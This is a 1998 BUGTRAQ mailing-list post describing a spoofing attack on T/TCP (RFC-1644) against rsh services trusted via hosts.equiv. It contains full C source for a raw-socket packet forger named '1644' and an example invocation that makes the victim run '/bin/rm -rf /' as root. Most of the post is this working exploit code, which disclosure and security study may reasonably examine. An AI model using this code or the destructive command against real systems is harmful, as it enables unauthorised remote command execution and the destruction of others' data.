Example of RFC-1644 attack
X-RDate: Wed, 08 Apr 1998 11:49:31 +0600 (ESD)
Date: Tue, 7 Apr 1998 19:26:41 +0600
From: Vasim Valejev <vasim@DIASPRO.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Example of RFC-1644 attack
Hi !
Good news : SYN-flood attack with TTCP-packets will have null
effects at most systems . But attacks on some tcp-services
can be successful :
Simple network : computer 'victim' and computer 'master' with
link > 10 ms delay . Victim have '+master' in /etc/hosts.equiv and
'shell stream ... rshd' in /etc/inetd.conf . Both computers have
t/tcp (rfc-1644) support .
1. Master does any t/tcp connections to victim . Victim's
cache[master].cc sets to value > 0 .
... Time passed ...
2. Hacker runs command :
hacker# 1644 master victim 514 '\0root\0root\0/bin/rm -rf /\0\0'
Hacker's computer sends T/TCP packet (SYN+PUSH+data) to 'victim'
with source address of 'master' . CC value in packet may be
any > cache[master].cc (0xffffffff for example) .
3. Hacker's packet received and victim sends SYN+ACK packet to
master . Preparing to run rshd with hacker's data ('rm -rf /'
as root) .
... 10-50 ms passed ...
4. Victim's packet received and master sends RST packet .
Too late , sorry ...
FreeBSD version of 1644 (use ip addresses only) :
/* 1644 by Vasim V. */
/* Please , don't use this program for any destructive targets ! */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define NEED_NEWCC 0x01
#define NEED_FIN 0x02
#define NEED_PUSH 0x04
#define NEED_TSTAMP 0x08
struct fhdr {
u_long saddr;
u_long daddr;
u_char zero;
u_char protocol;
u_short length;
};
unsigned long cc = 0x7fffff00;
u_short in_cksum(u_short *data,u_short length)
{
long value;
u_short i;
value = 0;
for(i=0; i < (length >> 1); i++)
value+=data[i];
if (length & 1)
value+=*(((u_char *) data) + length - 1);
value=(value & 65535) + (value >> 16);
return(~value);
}
void
sendpack(int sock, u_long saddr, u_long daddr, u_short port, u_char *data, int length, int options)
{
struct ip *mip;
struct tcphdr *mtcp;
struct fhdr *fhdr;
int totlen;
u_char buf[9000];
struct timeval tp;
struct sockaddr_in sin;
gettimeofday(&tp, NULL);
srandom(tp.tv_usec);
if (cc == 0)
cc = tp.tv_sec;
totlen = sizeof(struct ip) + sizeof(struct tcphdr);
mtcp = (struct tcphdr *) (buf + sizeof(struct ip));
mtcp->th_sport = htons(512 + (random() % 512));
mtcp->th_dport = htons(port);
mtcp->th_seq = htonl(random());
mtcp->th_ack = 0;
mtcp->th_x2 = 0;
mtcp->th_flags = TH_SYN;
if (options & NEED_FIN)
mtcp->th_flags |= TH_FIN;
if (options & NEED_PUSH)
mtcp->th_flags |= TH_PUSH;
mtcp->th_win = htons(17244);
mtcp->th_urp = 0;
mtcp->th_sum = 0;
buf[totlen++] = TCPOPT_MAXSEG;
buf[totlen++] = TCPOLEN_MAXSEG;
*((u_short *) &buf[totlen]) = htons(1460);
totlen += sizeof(u_short);
if (options & NEED_TSTAMP) {
*((u_long *) &buf[totlen]) = htonl(TCPOPT_NOP << 24 |
TCPOPT_WINDOW << 16 | TCPOLEN_WINDOW << 8);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = htonl(TCPOPT_TSTAMP_HDR);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = htonl(tp.tv_sec);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = 0;
totlen += sizeof(u_long);
}
buf[totlen++] = TCPOPT_NOP;
buf[totlen++] = TCPOPT_NOP;
if (options & NEED_NEWCC)
buf[totlen++] = TCPOPT_CCNEW;
else
buf[totlen++] = TCPOPT_CC;
buf[totlen++] = TCPOLEN_CC;
*((u_long *) &buf[totlen]) = htonl(cc);
cc++;
totlen += sizeof(u_long);
mtcp->th_off = (totlen - sizeof(struct ip)) >> 2;
if (data && length)
memcpy(buf + totlen, data, length);
fhdr = (struct fhdr *) (buf + sizeof(struct ip) - sizeof(struct fhdr));
fhdr->saddr = saddr;
fhdr->daddr = daddr;
fhdr->zero = 0;
fhdr->protocol = IPPROTO_TCP;
fhdr->length = htons(totlen - sizeof(struct ip) + length);
mtcp->th_sum = in_cksum((u_short *) fhdr, totlen - sizeof(struct ip) + sizeof(struct fhdr) + length);
mip = (struct ip *) buf;
mip->ip_len = totlen + length;
mip->ip_v = 4;
mip->ip_hl = 5;
mip->ip_tos = 0;
mip->ip_id = htons(random() % 32768);
mip->ip_off = IP_DF;
mip->ip_ttl = 0x40;
mip->ip_p = IPPROTO_TCP;
mip->ip_sum = 0;
mip->ip_src.s_addr = saddr;
mip->ip_dst.s_addr = daddr;
mip->ip_sum = in_cksum((u_short *) mip, sizeof(struct ip));
memset((void *) &sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = daddr;
sin.sin_port = htons(port);
if (sendto(sock, buf, totlen + length, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) < 0)
perror("sendto");
}
void
main (int argc, char **argv)
{
u_long saddr;
u_long daddr;
int port;
int sock;
u_char buf[8192];
int len;
int i;
u_char *p;
u_char c;
if (argc != 5) {
fprintf(stderr, "\n1644 by Vasim V.\n\nUsage: %s source destination port data\n", argv[0]);
exit(1);
}
saddr = inet_addr(argv[1]);
daddr = inet_addr(argv[2]);
port = atoi(argv[3]);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock < 0) {
perror("raw socket");
exit(2);
}
i = 1;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i));
p = buf;
len = 0;
for(i = 0; i < strlen(argv[4]); i++) {
c = argv[4][i];
if (c == '\\') {
i++;
c = argv[4][i];
switch (c) {
case '0':
*p++ = '\0';
break;
case 'r':
*p++ = '\r';
break;
case 'n':
*p++ = '\n';
break;
default:
*p++ = c;
break;
}
} else
*p++ = c;
len++;
}
sendpack(sock, saddr, daddr, port, buf, len, NEED_PUSH | NEED_TSTAMP);
}
Vasim V. (2:5011/27 http://members.tripod.com/~Vasim VV86-RIPE)
